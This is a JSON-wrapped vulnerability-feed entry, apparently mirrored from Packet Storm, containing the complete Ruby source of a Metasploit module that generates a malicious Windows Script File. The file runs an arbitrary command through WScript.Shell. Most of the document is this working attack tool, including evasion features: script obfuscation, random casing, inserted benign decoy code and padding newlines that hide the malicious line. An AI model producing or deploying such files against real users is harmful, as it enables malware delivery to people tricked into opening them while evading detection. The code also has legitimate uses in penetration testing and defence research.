{“lastseen”:”2025-10-07T17:36:55″,”description”:”This………………………………………”,”published”:”2025-10-07T00:00:00″,”modified”:”2025-10-07T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Malicious Windows Script Host Script File”,”source”:””,”references”:””,”id”:”PACKETSTORM:210219″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = GreatRanking\\n \\n include Msf::Exploit::FILEFORMAT\\n include Msf::Exploit::JSObfu\\n include Msf::Exploit::VBSObfuscate\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Malicious Windows Script Host Script File (.wsf)’,\\n ‘Description’ =\\u003e %q{\\n This module creates a Windows Script Host (WSH) Windows Script File (.wsf).\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘bcoles’\\n ],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],\\n ],\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Payload’ =\\u003e {\\n ‘Space’ =\\u003e 8_000, # 8190 maximum command length, minus some space for \\”cmd.exe \/c \\” and escaping\\n ‘BadChars’ =\\u003e \\”\\\\x00\\”,\\n ‘DisableNops’ =\\u003e true\\n },\\n ‘Targets’ =\\u003e [\\n [\\n ‘Microsoft Windows 98 or newer’, {}\\n ],\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘1998-06-25’, # Windows 98 release date\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DefaultOptions’ =\\u003e {\\n ‘DisablePayloadHandler’ =\\u003e true\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [SCREEN_EFFECTS]\\n }\\n )\\n )\\n \\n register_options([\\n OptString.new(‘FILENAME’, [true, ‘The WSF file name.’, ‘msf.wsf’]),\\n OptEnum.new(‘SCRIPT_LANGUAGE’, [true, ‘The WSH script language to use.’, ‘all’, %w[vbscript jscript all]]),\\n OptBool.new(‘OBFUSCATE’, [false, ‘Enable VBScript\/JScript obfuscation’, true])\\n ])\\n \\n register_advanced_options([\\n OptBool.new(‘PrependBenignCode’, [false, ‘Prepend several lines of benign code at the start of the VBScript\/JScript.’, true]),\\n OptInt.new(‘PrependNewLines’, [false, ‘Prepend new lines before the malicious VBScript\/JScript.’, 100]),\\n ])\\n end\\n \\n # Build a series of benign VBScript noise blocks\\n #\\n # @param [Integer] block_count Number of blocks to generate\\n #\\n # @return [String] block_count blocks of inert VBScript\\n def generate_vbscript_noise(block_count = 0)\\n lines = []\\n \\n block_count.times do\\n case rand(4)\\n when 0 # Dummy variable declarations and assignments\\n v1 = rand_text_alpha(6..16)\\n v2 = rand_text_alpha(6..16)\\n a = rand(0..100)\\n b = rand(0..100)\\n lines \\u003c\\u003c \\”Dim #{v1}, #{v2}\\”\\n lines \\u003c\\u003c \\”#{v1} = #{a}\\”\\n lines \\u003c\\u003c \\”#{v2} = #{b}\\”\\n when 1 # Dummy Function\\n fname = rand_text_alpha(6..16)\\n arg = rand_text_alpha(6..16)\\n mult = rand(1..5)\\n lines \\u003c\\u003c \\”Function #{fname}(#{arg})\\”\\n lines \\u003c\\u003c \\” #{fname} = #{arg} * #{mult}\\”\\n lines \\u003c\\u003c ‘End Function’\\n when 2 # Dummy Sub\\n sname = rand_text_alpha(6..16)\\n arg = rand_text_alpha(6..16)\\n mult = rand(1..5)\\n lines \\u003c\\u003c \\”Sub #{sname}(#{arg})\\”\\n lines \\u003c\\u003c \\” #{sname} = #{arg} * #{mult}\\”\\n lines \\u003c\\u003c ‘End Sub’\\n when 3 # Dummy For loop\\n idx = rand_text_alpha(6..16)\\n max = rand(1..5)\\n lines \\u003c\\u003c \\”Dim #{idx}\\”\\n lines \\u003c\\u003c \\”For #{idx} = 1 To #{max}\\”\\n lines \\u003c\\u003c \\” #{idx} = #{idx} + 0\\”\\n lines \\u003c\\u003c ‘Next’\\n end\\n end\\n \\n lines.join(\\”\\\\r\\\\n\\”)\\n end\\n \\n def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)\\n js = ”\\n \\n # TODO: This could be improved by generating more realistic looking\\n # benign code with functions and flow control\\n if prepend_benign_code\\n rand(5..10).times do\\n js \\u003c\\u003c \\”var #{rand_text_alpha(6..16)}=\\\\\\”#{rand_text_alphanumeric(6..16)}\\\\\\”;\\\\r\\\\n\\”\\n end\\n end\\n \\n js \\u003c\\u003c \\”\\\\r\\\\n\\” * prepend_new_lines\\n \\n escaped_payload = command_string.gsub(‘\\\\\\\\’, ‘\\\\\\\\\\\\\\\\\\\\\\\\’).gsub(‘\\”‘, ‘\\\\\\\\\\”‘)\\n \\n # If the payload contains \\” \\u0026 \\” we presume it is a command string.\\n #\\n # TODO: Change this once Metasploit is able to inform a module that\\n # the specified ARCH_CMD payload is a string of commands\\n # (not a single command).\\n if escaped_payload.include?(‘ \\u0026 ‘)\\n cmd = \\”cmd.exe \/c #{escaped_payload}\\”\\n else\\n cmd = escaped_payload\\n end\\n \\n shell_var = rand_text_alpha(6..16)\\n js_payload = \\”var #{shell_var} = new ActiveXObject(\\\\\\”WScript.Shell\\\\\\”);\\”\\n js_payload \\u003c\\u003c \\”#{shell_var}.Run(\\\\\\”#{cmd}\\\\\\”);\\”\\n \\n if obfuscate\\n js_obfu = Rex::Exploitation::JSObfu.new(js_payload)\\n obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s\\n # WSH JScript execution context does not support ‘window’ object\\n obfuscated_payload = obfuscated_payload.gsub(‘window[‘, ‘String[‘)\\n js \\u003c\\u003c obfuscated_payload\\n else\\n js \\u003c\\u003c js_payload\\n end\\n \\n js\\n end\\n \\n def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)\\n vbs = ”\\n vbs \\u003c\\u003c generate_vbscript_noise(rand(8..10)) if prepend_benign_code\\n vbs \\u003c\\u003c \\”\\\\r\\\\n\\” * prepend_new_lines\\n \\n escaped_payload = command_string.gsub(‘\\\\\\\\’, ‘\\\\\\\\\\\\\\\\\\\\\\\\’).gsub(‘\\”‘, ‘\\\\\\\\\\”‘)\\n \\n # If the payload contains \\” \\u0026 \\” we presume it is a command string.\\n #\\n # TODO: Change this once Metasploit is able to inform a module that\\n # the specified ARCH_CMD payload is a string of commands\\n # (not a single command).\\n if escaped_payload.include?(‘ \\u0026 ‘)\\n cmd = \\”cmd.exe \/c #{escaped_payload}\\”\\n else\\n cmd = escaped_payload\\n end\\n \\n shell_obj = ‘WScript.Shell’.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join\\n vbs_payload = \\”CreateObject(\\\\\\”#{shell_obj}\\\\\\”).Run(\\\\\\”#{cmd}\\\\\\”)\\”\\n if obfuscate\\n vbs \\u003c\\u003c vbs_obfuscate(vbs_payload).to_s\\n else\\n vbs \\u003c\\u003c vbs_payload\\n end\\n \\n vbs\\n end\\n \\n def generate_wsf(vbs: nil, js: nil)\\n job_id = rand_text_alphanumeric(8..12)\\n wsf_content = [\\n \\”\\u003cscript language=\\\\\\”JScript\\\\\\”\\u003e\\\\r\\\\n#{js}\\\\r\\\\n\\u003c\/script\\u003e\\”,\\n \\”\\u003cscript language=\\\\\\”VBScript\\\\\\”\\u003e\\\\r\\\\n#{vbs}\\\\r\\\\n\\u003c\/script\\u003e\\”\\n ].shuffle.join\\n \\n \\”\\u003cjob id=\\\\\\”#{job_id}\\\\\\”\\u003e#{wsf_content}\\u003c\/job\\u003e\\”\\n end\\n \\n def exploit\\n js = nil\\n vbs = nil\\n \\n if [‘all’, ‘vbscript’].include?(datastore[‘SCRIPT_LANGUAGE’].to_s.downcase)\\n vbs = generate_vbscript(\\n payload.encoded,\\n prepend_benign_code: datastore[‘PrependBenignCode’],\\n prepend_new_lines: datastore[‘PrependNewLines’],\\n obfuscate: datastore[‘OBFUSCATE’]\\n )\\n end\\n \\n if [‘all’, ‘jscript’].include?(datastore[‘SCRIPT_LANGUAGE’].to_s.downcase)\\n js = generate_jscript(\\n payload.encoded,\\n prepend_benign_code: datastore[‘PrependBenignCode’],\\n prepend_new_lines: datastore[‘PrependNewLines’],\\n obfuscate: datastore[‘OBFUSCATE’]\\n )\\n end\\n \\n wsf = generate_wsf(\\n js: js,\\n vbs: vbs\\n )\\n \\n file_create(wsf)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/210219″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/210219\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-07T17:36:55″,”description”:”This………………………………………”,”published”:”2025-10-07T00:00:00″,”modified”:”2025-10-07T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Malicious Windows Script Host Script File”,”source”:””,”references”:””,”id”:”PACKETSTORM:210219″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank =…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-20535","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n